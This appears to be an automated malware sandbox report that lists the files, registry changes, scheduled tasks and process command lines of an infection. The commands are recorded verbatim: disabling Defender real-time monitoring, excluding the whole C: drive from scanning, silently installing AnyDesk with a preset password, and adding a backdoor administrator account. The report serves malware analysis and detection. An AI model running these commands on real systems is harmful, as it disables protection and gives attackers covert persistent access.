File created	C:\Program Files (x86)\Windows Portable Devices\AnyDesk.exe	ComdriverSvc.exe
File created	C:\Program Files (x86)\Windows Portable Devices\a3f9a78845891b	ComdriverSvc.exe

Drops file in Windows directory 24 IoCs

Processes:

migrate.execmd.exeIntelConfigService.exeApplicationsFrameHost.execmd.exe

description	ioc	process
File opened for modification	C:\Windows\Tasks\config.json	migrate.exe
File created	C:\Windows\Tasks\run.bat	migrate.exe
File created	C:\Windows\Tasks\ApplicationsFrameHost.exe	migrate.exe
File created	C:\Windows\curl.exe	cmd.exe
File created	C:\Windows\Tasks\Superfetch.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\Superfetch.exe	migrate.exe
File opened for modification	C:\Windows\curl.exe	cmd.exe
File opened for modification	C:\Windows\Tasks	IntelConfigService.exe
File created	C:\Windows\Tasks\__tmp_rar_sfx_access_check_240597156	migrate.exe
File opened for modification	C:\Windows\Tasks\IntelConfigService.exe	migrate.exe
File created	C:\Windows\Tasks\MSTask.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\MSTask.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\config.json	ApplicationsFrameHost.exe
File created	C:\Windows\Tasks\Wmiic.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\ApplicationsFrameHost.exe	migrate.exe
File created	C:\Windows\Tasks\IntelConfigService.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\run.bat	migrate.exe
File created	C:\Windows\Tasks\WinRing0x64.sys	migrate.exe
File opened for modification	C:\Windows\Tasks\WinRing0x64.sys	migrate.exe
File opened for modification	C:\Windows\curl.exe	cmd.exe
File created	C:\Windows\Tasks\config.json	migrate.exe
File opened for modification	C:\Windows\Tasks\Wmiic.exe	migrate.exe
File created	C:\Windows\Tasks\Wrap.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\Wrap.exe	migrate.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 48 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

pid	process
3708	schtasks.exe
4116	schtasks.exe
3652	schtasks.exe
1952	schtasks.exe
3460	schtasks.exe
2612	schtasks.exe
4296	schtasks.exe
3396	schtasks.exe
2900	schtasks.exe
4248	schtasks.exe
3964	schtasks.exe
444	schtasks.exe
4120	schtasks.exe
4800	schtasks.exe
60	schtasks.exe
4264	schtasks.exe
2380	schtasks.exe
216	schtasks.exe
4676	schtasks.exe
1764	schtasks.exe
1068	schtasks.exe
4980	schtasks.exe
2944	schtasks.exe
3340	schtasks.exe
4908	schtasks.exe
2808	schtasks.exe
4124	schtasks.exe
2124	schtasks.exe
2200	schtasks.exe
3704	schtasks.exe
2140	schtasks.exe
664	schtasks.exe
4132	schtasks.exe
2392	schtasks.exe
4024	schtasks.exe
532	schtasks.exe
1196	schtasks.exe
4776	schtasks.exe
4488	schtasks.exe
4252	schtasks.exe
3640	schtasks.exe
3056	schtasks.exe
2752	schtasks.exe
3528	schtasks.exe
4080	schtasks.exe
1956	schtasks.exe
4876	schtasks.exe
4064	schtasks.exe

Delays execution with timeout.exe 11 IoCs

evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exe

pid	process
628	timeout.exe
4704	timeout.exe
3548	timeout.exe
5632	timeout.exe
6040	timeout.exe
1956	timeout.exe
444	timeout.exe
4196	timeout.exe
1684	timeout.exe
4272	timeout.exe
4640	timeout.exe

Enumerates processes with tasklist 1 TTPs 3 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exe

pid process

5596 tasklist.exe
292 tasklist.exe
5308 tasklist.exe
Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

3668 taskkill.exe
1108 taskkill.exe

pid	process
5596	tasklist.exe
292	tasklist.exe
5308	tasklist.exe

pid	process
3668	taskkill.exe
1108	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

Processes:

~Ma4650.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION	~Ma4650.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\MacroWebExplorer.exe = "11001"	~Ma4650.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION	~Ma4650.exe

Modifies data under HKEY_USERS 21 IoCs

Processes:

~Ma4650.exeMSTask.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Wow6432Node\Microsoft	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Wow6432Node\Microsoft\Internet Explorer	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Internet Explorer	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Internet Explorer\MAIN	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Internet Explorer\Main\FeatureControl	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Wow6432Node\Microsoft\Internet Explorer\MAIN	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	MSTask.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MSTask.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	MSTask.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MSTask.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MSTask.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Wow6432Node	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION	~Ma4650.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\MacroWebExplorer.exe = "11001"	~Ma4650.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\MacroWebExplorer.exe = "11001"	~Ma4650.exe

Modifies registry class 18 IoCs

Processes:

wsappz.exeComdriverSvc.exedc.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\DefaultIcon\ = "AnyDesk.exe,0"	wsappz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell	wsappz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell\open	wsappz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell\open\command	wsappz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell\open\command	wsappz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell\open\command\ = "\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" --play \"%1\""	wsappz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\ = "URL:AnyDesk Protocol"	wsappz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell\open\command\ = "\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" \"%1\""	wsappz.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	ComdriverSvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	dc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk	wsappz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\URL Protocol	wsappz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\DefaultIcon	wsappz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\DefaultIcon\ = "\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\",0"	wsappz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell\open	wsappz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk	wsappz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\DefaultIcon	wsappz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell	wsappz.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exetimeout.exepowershell.exewsappz.exeComdriverSvc.exeAnyDesk.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exetimeout.exeschtasks.exeschtasks.exepowershell.exepowershell.exepowershell.exe

pid	process
4856	powershell.exe
4856	powershell.exe
1684	timeout.exe
1684	timeout.exe
3260	powershell.exe
3260	powershell.exe
3248	wsappz.exe
3248	wsappz.exe
4784	ComdriverSvc.exe
4784	ComdriverSvc.exe
2020	AnyDesk.exe
2020	AnyDesk.exe
4784	ComdriverSvc.exe
4784	ComdriverSvc.exe
4784	ComdriverSvc.exe
4784	ComdriverSvc.exe
4784	ComdriverSvc.exe
4784	ComdriverSvc.exe
4784	ComdriverSvc.exe
4784	ComdriverSvc.exe
4784	ComdriverSvc.exe
4784	ComdriverSvc.exe
3768	powershell.exe
3768	powershell.exe
4420	powershell.exe
4420	powershell.exe
4024	powershell.exe
4024	powershell.exe
4708	powershell.exe
4708	powershell.exe
2832	powershell.exe
2832	powershell.exe
4104	powershell.exe
4104	powershell.exe
4820	powershell.exe
4820	powershell.exe
4196	timeout.exe
4196	timeout.exe
1068	schtasks.exe
1068	schtasks.exe
3260	powershell.exe
3260	powershell.exe
4116	schtasks.exe
4116	schtasks.exe
4992	powershell.exe
4992	powershell.exe
1108	powershell.exe
1108	powershell.exe
3260	powershell.exe
4104	powershell.exe
4024	powershell.exe
3768	powershell.exe
3768	powershell.exe
2832	powershell.exe
4820	powershell.exe
4708	powershell.exe
4420	powershell.exe
4420	powershell.exe
4196	timeout.exe
1068	schtasks.exe
4992	powershell.exe
4116	schtasks.exe
1108	powershell.exe
5888	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

~Ma4650.exe

pid process

5300 ~Ma4650.exe
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

648

pid	process
5300	~Ma4650.exe

pid	process
648

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exetimeout.exepowershell.exetaskkill.exepowershell.exeComdriverSvc.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exetimeout.exeschtasks.exeschtasks.exepowershell.exepowershell.exepowershell.exetasklist.execonhost.exepowershell.exevssvc.exepowershell.exeApplicationsFrameHost.exetasklist.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	4856	powershell.exe
Token: SeDebugPrivilege	1684	timeout.exe
Token: SeDebugPrivilege	1108	powershell.exe
Token: SeDebugPrivilege	3668	taskkill.exe
Token: SeDebugPrivilege	3260	powershell.exe
Token: SeDebugPrivilege	4784	ComdriverSvc.exe
Token: SeDebugPrivilege	3768	powershell.exe
Token: SeDebugPrivilege	4420	powershell.exe
Token: SeDebugPrivilege	4024	powershell.exe
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeDebugPrivilege	2832	powershell.exe
Token: SeDebugPrivilege	4104	powershell.exe
Token: SeDebugPrivilege	4820	powershell.exe
Token: SeDebugPrivilege	4196	timeout.exe
Token: SeDebugPrivilege	1068	schtasks.exe
Token: SeDebugPrivilege	3260	powershell.exe
Token: SeDebugPrivilege	4116	schtasks.exe
Token: SeDebugPrivilege	4992	powershell.exe
Token: SeDebugPrivilege	1108	powershell.exe
Token: SeDebugPrivilege	5888	powershell.exe
Token: SeDebugPrivilege	1428	powershell.exe
Token: SeDebugPrivilege	5596	tasklist.exe
Token: SeDebugPrivilege	5248	conhost.exe
Token: SeDebugPrivilege	4520	powershell.exe
Token: SeBackupPrivilege	4868	vssvc.exe
Token: SeRestorePrivilege	4868	vssvc.exe
Token: SeAuditPrivilege	4868	vssvc.exe
Token: SeDebugPrivilege	3568	powershell.exe
Token: SeLockMemoryPrivilege	4936	ApplicationsFrameHost.exe
Token: SeDebugPrivilege	292	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1204	WMIC.exe
Token: SeSecurityPrivilege	1204	WMIC.exe
Token: SeTakeOwnershipPrivilege	1204	WMIC.exe
Token: SeLoadDriverPrivilege	1204	WMIC.exe
Token: SeSystemProfilePrivilege	1204	WMIC.exe
Token: SeSystemtimePrivilege	1204	WMIC.exe
Token: SeProfSingleProcessPrivilege	1204	WMIC.exe
Token: SeIncBasePriorityPrivilege	1204	WMIC.exe
Token: SeCreatePagefilePrivilege	1204	WMIC.exe
Token: SeBackupPrivilege	1204	WMIC.exe
Token: SeRestorePrivilege	1204	WMIC.exe
Token: SeShutdownPrivilege	1204	WMIC.exe
Token: SeDebugPrivilege	1204	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1204	WMIC.exe
Token: SeRemoteShutdownPrivilege	1204	WMIC.exe
Token: SeUndockPrivilege	1204	WMIC.exe
Token: SeManageVolumePrivilege	1204	WMIC.exe
Token: 33	1204	WMIC.exe
Token: 34	1204	WMIC.exe
Token: 35	1204	WMIC.exe
Token: 36	1204	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1204	WMIC.exe
Token: SeSecurityPrivilege	1204	WMIC.exe
Token: SeTakeOwnershipPrivilege	1204	WMIC.exe
Token: SeLoadDriverPrivilege	1204	WMIC.exe
Token: SeSystemProfilePrivilege	1204	WMIC.exe
Token: SeSystemtimePrivilege	1204	WMIC.exe
Token: SeProfSingleProcessPrivilege	1204	WMIC.exe
Token: SeIncBasePriorityPrivilege	1204	WMIC.exe
Token: SeCreatePagefilePrivilege	1204	WMIC.exe
Token: SeBackupPrivilege	1204	WMIC.exe
Token: SeRestorePrivilege	1204	WMIC.exe
Token: SeShutdownPrivilege	1204	WMIC.exe
Token: SeDebugPrivilege	1204	WMIC.exe

Suspicious use of FindShellTrayWindow 10 IoCs

Processes:

AnyDesk.exeIntelConfigService.exeApplicationsFrameHost.exeSuperfetch.exe

pid	process
3616	AnyDesk.exe
3616	AnyDesk.exe
3616	AnyDesk.exe
3188	IntelConfigService.exe
3188	IntelConfigService.exe
3188	IntelConfigService.exe
4936	ApplicationsFrameHost.exe
2380	Superfetch.exe
2380	Superfetch.exe
2380	Superfetch.exe

Suspicious use of SendNotifyMessage 3 IoCs

Processes:

AnyDesk.exe

pid process

3616 AnyDesk.exe
3616 AnyDesk.exe
3616 AnyDesk.exe
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

1.exe~Ma4650.exe

pid process

2744 1.exe
5300 ~Ma4650.exe
5300 ~Ma4650.exe
5300 ~Ma4650.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

tmp.execmd.execmd.exeConhost.exedc.execmd.exenet.exenet.exeschtasks.exepowershell.exe

description	pid	process	target process
PID 1124 wrote to memory of 4856	1124	tmp.exe	powershell.exe
PID 1124 wrote to memory of 4856	1124	tmp.exe	powershell.exe
PID 1124 wrote to memory of 4856	1124	tmp.exe	powershell.exe
PID 1124 wrote to memory of 1684	1124	tmp.exe	timeout.exe
PID 1124 wrote to memory of 1684	1124	tmp.exe	timeout.exe
PID 1124 wrote to memory of 1684	1124	tmp.exe	timeout.exe
PID 1124 wrote to memory of 2744	1124	tmp.exe	1.exe
PID 1124 wrote to memory of 2744	1124	tmp.exe	1.exe
PID 1124 wrote to memory of 2744	1124	tmp.exe	1.exe
PID 1124 wrote to memory of 1824	1124	tmp.exe	cmd.exe
PID 1124 wrote to memory of 1824	1124	tmp.exe	cmd.exe
PID 1124 wrote to memory of 1824	1124	tmp.exe	cmd.exe
PID 1124 wrote to memory of 3532	1124	tmp.exe	Conhost.exe
PID 1124 wrote to memory of 3532	1124	tmp.exe	Conhost.exe
PID 1124 wrote to memory of 3532	1124	tmp.exe	Conhost.exe
PID 1824 wrote to memory of 4644	1824	cmd.exe	cmd.exe
PID 1824 wrote to memory of 4644	1824	cmd.exe	cmd.exe
PID 1824 wrote to memory of 4644	1824	cmd.exe	cmd.exe
PID 1124 wrote to memory of 1612	1124	tmp.exe	dc.exe
PID 1124 wrote to memory of 1612	1124	tmp.exe	dc.exe
PID 1124 wrote to memory of 1612	1124	tmp.exe	dc.exe
PID 4644 wrote to memory of 2944	4644	cmd.exe	schtasks.exe
PID 4644 wrote to memory of 2944	4644	cmd.exe	schtasks.exe
PID 4644 wrote to memory of 2944	4644	cmd.exe	schtasks.exe
PID 3532 wrote to memory of 2276	3532	Conhost.exe	cmd.exe
PID 3532 wrote to memory of 2276	3532	Conhost.exe	cmd.exe
PID 3532 wrote to memory of 2276	3532	Conhost.exe	cmd.exe
PID 1612 wrote to memory of 1584	1612	dc.exe	WScript.exe
PID 1612 wrote to memory of 1584	1612	dc.exe	WScript.exe
PID 1612 wrote to memory of 1584	1612	dc.exe	WScript.exe
PID 4644 wrote to memory of 628	4644	cmd.exe	timeout.exe
PID 4644 wrote to memory of 628	4644	cmd.exe	timeout.exe
PID 4644 wrote to memory of 628	4644	cmd.exe	timeout.exe
PID 2276 wrote to memory of 3472	2276	cmd.exe	chcp.com
PID 2276 wrote to memory of 3472	2276	cmd.exe	chcp.com
PID 2276 wrote to memory of 3472	2276	cmd.exe	chcp.com
PID 2276 wrote to memory of 4732	2276	cmd.exe	net.exe
PID 2276 wrote to memory of 4732	2276	cmd.exe	net.exe
PID 2276 wrote to memory of 4732	2276	cmd.exe	net.exe
PID 4732 wrote to memory of 4724	4732	net.exe	net1.exe
PID 4732 wrote to memory of 4724	4732	net.exe	net1.exe
PID 4732 wrote to memory of 4724	4732	net.exe	net1.exe
PID 2276 wrote to memory of 4308	2276	cmd.exe	net.exe
PID 2276 wrote to memory of 4308	2276	cmd.exe	net.exe
PID 2276 wrote to memory of 4308	2276	cmd.exe	net.exe
PID 4308 wrote to memory of 4504	4308	net.exe	net1.exe
PID 4308 wrote to memory of 4504	4308	net.exe	net1.exe
PID 4308 wrote to memory of 4504	4308	net.exe	net1.exe
PID 2276 wrote to memory of 4080	2276	cmd.exe	schtasks.exe
PID 2276 wrote to memory of 4080	2276	cmd.exe	schtasks.exe
PID 2276 wrote to memory of 4080	2276	cmd.exe	schtasks.exe
PID 4080 wrote to memory of 1592	4080	schtasks.exe	Conhost.exe
PID 4080 wrote to memory of 1592	4080	schtasks.exe	Conhost.exe
PID 4080 wrote to memory of 1592	4080	schtasks.exe	Conhost.exe
PID 2276 wrote to memory of 1108	2276	cmd.exe	powershell.exe
PID 2276 wrote to memory of 1108	2276	cmd.exe	powershell.exe
PID 2276 wrote to memory of 1108	2276	cmd.exe	powershell.exe
PID 2276 wrote to memory of 3668	2276	cmd.exe	taskkill.exe
PID 2276 wrote to memory of 3668	2276	cmd.exe	taskkill.exe
PID 2276 wrote to memory of 3668	2276	cmd.exe	taskkill.exe
PID 2276 wrote to memory of 3260	2276	cmd.exe	powershell.exe
PID 2276 wrote to memory of 3260	2276	cmd.exe	powershell.exe
PID 2276 wrote to memory of 3260	2276	cmd.exe	powershell.exe
PID 3260 wrote to memory of 4924	3260	powershell.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1124

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4856

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\migration , c:\users\kbtgt\desktop , C:\Windows\tasks , C:\Windows , C:\Windows\Logs , C:\Windows\SysWOW64 , C:\Windows\System32\WindowsPowerShell\v1.0 , C:\ProgramData , C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe , powershell.exe , c:\
2⤵
PID:1684

C:\programdata\1.exe
"C:\programdata\1.exe" /D
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2744

C:\programdata\dc.exe
"C:\programdata\dc.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1612

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\runtimeMonitor\eW0NlR3z8rHah1r0tet2KhNAo.vbe"
3⤵
- Checks computer location settings
PID:1584

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\runtimeMonitor\PsYm20I.bat" "
4⤵
PID:4672

C:\runtimeMonitor\ComdriverSvc.exe
"C:\runtimeMonitor\ComdriverSvc.exe"
5⤵
- Modifies WinLogon for persistence
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4784

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1108

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4992

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\ZdF8h4HwiS.bat"
6⤵
PID:5216

C:\Windows\system32\w32tm.exe
w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
7⤵
PID:5832

C:\Recovery\WindowsRE\conhost.exe
"C:\Recovery\WindowsRE\conhost.exe"
7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5248

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
6⤵
PID:4116

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/runtimeMonitor/'
6⤵
PID:1068

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3260

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
6⤵
PID:4196

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2832

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4420

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4024

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/odt/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4104

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3768

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4708

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4820

C:\programdata\any.exe
"C:\programdata\any.exe"
2⤵
PID:3532

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\programdata\ru.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:1824

C:\Windows\SysWOW64\chcp.com
chcp 65001
1⤵
PID:2944

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\programdata\any.bat" "
1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2276

C:\Windows\SysWOW64\chcp.com
chcp 65001
2⤵
PID:3472

C:\Windows\SysWOW64\net.exe
net stop TaskSc
2⤵
- Suspicious use of WriteProcessMemory
PID:4732

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM anydesk.exe /F
2⤵
- Kills process with taskkill
PID:1108

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM wininit1.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3668

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell cmd.exe /c C:\ProgramData\wsappz.exe --install C:\ProgramData\AnyDesk --start-with-win --silent
2⤵
PID:3260

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\ProgramData\wsappz.exe --install C:\ProgramData\AnyDesk --start-with-win --silent
3⤵
PID:4924

C:\ProgramData\wsappz.exe
C:\ProgramData\wsappz.exe --install C:\ProgramData\AnyDesk --start-with-win --silent
4⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:3248

C:\Windows\SysWOW64\net.exe
net stop AnyDesk
2⤵
PID:4080

C:\Windows\SysWOW64\net.exe
net stop TaskScs
2⤵
- Suspicious use of WriteProcessMemory
PID:4308

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell cmd.exe /c echo Pass32552
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1428

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c echo Pass32552
3⤵
PID:4936

C:\ProgramData\AnyDesk\AnyDesk.exe
C:\ProgramData\AnyDesk\anydesk.exe --set-password
2⤵
PID:3996

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrateurs oldadministrator /add
3⤵
PID:5244

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
2⤵
- Delays execution with timeout.exe
PID:4272

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
2⤵
- Delays execution with timeout.exe
PID:4704

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administradores oldadministrator /add
3⤵
PID:3056

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell cmd.exe /c C:\ProgramData\AnyDesk\anydesk.exe --get-id
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4520

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
2⤵
- Delays execution with timeout.exe
PID:5632

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c find /n /v ""
2⤵
PID:5716

C:\Windows\SysWOW64\find.exe
find /n /v ""
3⤵
PID:5316

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "(new-object System.Net.WebClient).DownloadString('https://ipinfo.io/ip')"
2⤵
- Blocklisted process makes network request
